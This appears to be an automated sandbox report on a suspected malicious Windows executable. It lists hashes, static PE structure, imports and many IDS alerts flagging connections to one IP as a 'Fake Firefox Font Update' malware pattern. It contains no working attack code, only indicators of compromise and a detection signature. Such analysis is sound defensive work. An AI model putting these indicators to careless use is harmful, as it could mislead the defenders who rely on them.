TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	8e8JUOzOjR.exe
File size:	1'161'216 bytes
MD5:	421e68364bf99e35f1af18e71327e994
SHA1:	d52a25f280c7ef41551c892c9a0ec4930d204afd
SHA256:	52f70aceaac84fb1b61e78e36a3f8642875ce6528819060470242fb5312d16e5
SHA512:	c495bedb20ff16f2c066d53ba932eeb5adbe104273b105fc459742df94a2e4eddd8c5d34d0d5acac64b165b4b788084177d154be09368a06b2e3a94c02dcfc2b
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
TLSH:	9D359E3791B383F9C15289788D5FABD4A42EAD303A3CBA52FED17D0C5B252427839197
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4f858a8c8e8e8946

Static PE Info

General

Entrypoint:	0x46e80c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	44c8864bd68c3bff94639c69671ea4b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046D250h
call 00007F2CC4AD1BF1h
mov ecx, dword ptr [00470E9Ch]
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046CB00h]
call 00007F2CC4B27A89h
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
call 00007F2CC4B27AFDh
call 00007F2CC4ACFA50h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x75000	0x266e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0xa1c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x7ce8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x79000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75754	0x600	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c4c0	0x6c600	69c4173c38ad27686fb46f69fd79ec91	False	0.5070961288927336	data	6.531494017298441	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x6e000	0x848	0xa00	639613140a642faedd01bff468c3e3cf	False	0.523828125	data	5.552779847613545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x6f000	0x1f40	0x2000	53b6dd6978c858db7e9faa57954b9c18	False	0.3963623046875	data	3.804120578626792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x71000	0x36ec	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x75000	0x266e	0x2800	f0f9a1156b641e5ea253cb6ddcaf08ba	False	0.3103515625	data	4.872671403071516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x78000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x79000	0x18	0x200	5b11e123dd9b7f6d94b27d2ad6e9bc83	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7a000	0x7ce8	0x7e00	3b0f62de599dc8a77438a9e2115a0b81	False	0.6107390873015873	data	6.679791141044884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x82000	0xa1c00	0xa1c00	ef7ab4e1a00c81b31ebfabcfa215640d	False	0.5014972952086554	data	7.100315924383367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x83244	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x83378	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x834ac	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x835e0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x83714	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x83848	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x8397c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x83ab0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x83c80	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x83e64	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x84034	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x84204	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x843d4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x845a4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x84774	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84944	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x84b14	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84ce4	0x81940	Device independent bitmap graphic, 971 x 182 x 24, image size 530712	English	United States	0.497995297238635
RT_BITMAP	0x106624	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x10674c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x106874	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x10699c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x106a84	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x106bac	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x106cd4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x106da4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x106ecc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x106ff4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x10711c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x107244	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x10736c	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x107454	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10757c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1076a4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x107774	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x10789c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x1079c4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x107aec	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107c14	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107d3c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x107e24	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x107f4c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x108074	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x108144	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10826c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x108394	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x10847c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 40314 x 40314 px/m			0.40560165975103735
RT_DIALOG	0x10aa24	0x52	data			0.7682926829268293
RT_DIALOG	0x10aa78	0x52	data			0.7560975609756098
RT_STRING	0x10aacc	0x35c	data			0.45348837209302323
RT_STRING	0x10ae28	0x2d8	data			0.4642857142857143
RT_STRING	0x10b100	0xc0	data			0.6770833333333334
RT_STRING	0x10b1c0	0xec	data			0.6483050847457628
RT_STRING	0x10b2ac	0x350	data			0.43514150943396224
RT_STRING	0x10b5fc	0x3cc	data			0.37962962962962965
RT_STRING	0x10b9c8	0x388	data			0.4092920353982301
RT_STRING	0x10bd50	0x418	data			0.36736641221374045
RT_STRING	0x10c168	0x140	data			0.515625
RT_STRING	0x10c2a8	0xcc	data			0.6127450980392157
RT_STRING	0x10c374	0x1ec	data			0.5345528455284553
RT_STRING	0x10c560	0x3b0	data			0.326271186440678
RT_STRING	0x10c910	0x354	data			0.4107981220657277
RT_STRING	0x10cc64	0x2a4	data			0.4363905325443787
RT_RCDATA	0x10cf08	0x10	data			1.5
RT_RCDATA	0x10cf18	0x338	data			0.6905339805825242
RT_RCDATA	0x10d250	0x1657c	GIF image data, version 89a, 360 x 360	English	United States	0.5947703133878229
RT_RCDATA	0x1237cc	0x369	Delphi compiled form 'TForm1'			0.6071019473081328
RT_GROUP_CURSOR	0x123b38	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b4c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b60	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123bb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x123bc4	0x14	data			1.25

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, lstrcatA, _lread, _lopen, _llseek, _lclose, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
comdlg32.dll	GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:24:58.491958+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	23.237.26.135	443	TCP
2025-01-14T08:24:59.409580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49715	23.237.26.135	443	TCP
2025-01-14T08:25:00.276264+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49717	23.237.26.135	443	TCP
2025-01-14T08:25:01.194304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49719	23.237.26.135	443	TCP
2025-01-14T08:25:02.452652+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49721	23.237.26.135	443	TCP
2025-01-14T08:25:03.329142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	23.237.26.135	443	TCP
2025-01-14T08:25:04.201770+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49725	23.237.26.135	443	TCP
2025-01-14T08:25:05.177631+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49727	23.237.26.135	443	TCP
2025-01-14T08:25:06.057819+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49729	23.237.26.135	443	TCP
2025-01-14T08:25:06.949166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49731	23.237.26.135	443	TCP
2025-01-14T08:25:07.800126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49733	23.237.26.135	443	TCP
2025-01-14T08:25:08.648418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49735	23.237.26.135	443	TCP
2025-01-14T08:25:09.494214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49737	23.237.26.135	443	TCP
2025-01-14T08:25:10.364645+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49739	23.237.26.135	443	TCP
2025-01-14T08:25:11.240802+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49741	23.237.26.135	443	TCP
2025-01-14T08:25:12.082680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49743	23.237.26.135	443	TCP
2025-01-14T08:25:13.028927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49745	23.237.26.135	443	TCP
2025-01-14T08:25:13.881154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49747	23.237.26.135	443	TCP
2025-01-14T08:25:14.725539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49750	23.237.26.135	443	TCP
2025-01-14T08:25:15.634473+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49752	23.237.26.135	443	TCP
2025-01-14T08:25:16.470788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49755	23.237.26.135	443	TCP
2025-01-14T08:25:17.427980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49762	23.237.26.135	443	TCP
2025-01-14T08:25:18.267717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49769	23.237.26.135	443	TCP
2025-01-14T08:25:19.104653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49776	23.237.26.135	443	TCP
2025-01-14T08:25:19.939205+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49782	23.237.26.135	443	TCP
2025-01-14T08:25:20.786524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49791	23.237.26.135	443	TCP
2025-01-14T08:25:21.645410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49798	23.237.26.135	443	TCP
2025-01-14T08:25:22.520754+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49804	23.237.26.135	443	TCP
2025-01-14T08:25:23.457162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49810	23.237.26.135	443	TCP
2025-01-14T08:25:24.326038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49817	23.237.26.135	443	TCP
2025-01-14T08:25:25.199019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49825	23.237.26.135	443	TCP
2025-01-14T08:25:26.142609+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49834	23.237.26.135	443	TCP
2025-01-14T08:25:27.016304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49842	23.237.26.135	443	TCP
2025-01-14T08:25:27.871870+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49849	23.237.26.135	443	TCP
2025-01-14T08:25:28.926656+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49855	23.237.26.135	443	TCP
2025-01-14T08:25:29.785642+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49862	23.237.26.135	443	TCP
2025-01-14T08:25:30.639343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49870	23.237.26.135	443	TCP
2025-01-14T08:25:31.737146+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49877	23.237.26.135	443	TCP
2025-01-14T08:25:32.563318+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49884	23.237.26.135	443	TCP
2025-01-14T08:25:33.425560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49891	23.237.26.135	443	TCP
2025-01-14T08:25:34.277573+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49898	23.237.26.135	443	TCP
2025-01-14T08:25:35.115910+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49907	23.237.26.135	443	TCP
2025-01-14T08:25:35.950447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49915	23.237.26.135	443	TCP
2025-01-14T08:25:36.773140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49924	23.237.26.135	443	TCP
2025-01-14T08:25:37.596470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49931	23.237.26.135	443	TCP
2025-01-14T08:25:38.473212+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49938	23.237.26.135	443	TCP
2025-01-14T08:25:39.364755+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49945	23.237.26.135	443	TCP
2025-01-14T08:25:40.197161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49952	23.237.26.135	443	TCP
2025-01-14T08:25:41.062252+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49960	23.237.26.135	443	TCP
2025-01-14T08:25:41.961310+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49967	23.237.26.135	443	TCP
2025-01-14T08:25:42.802102+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49976	23.237.26.135	443	TCP
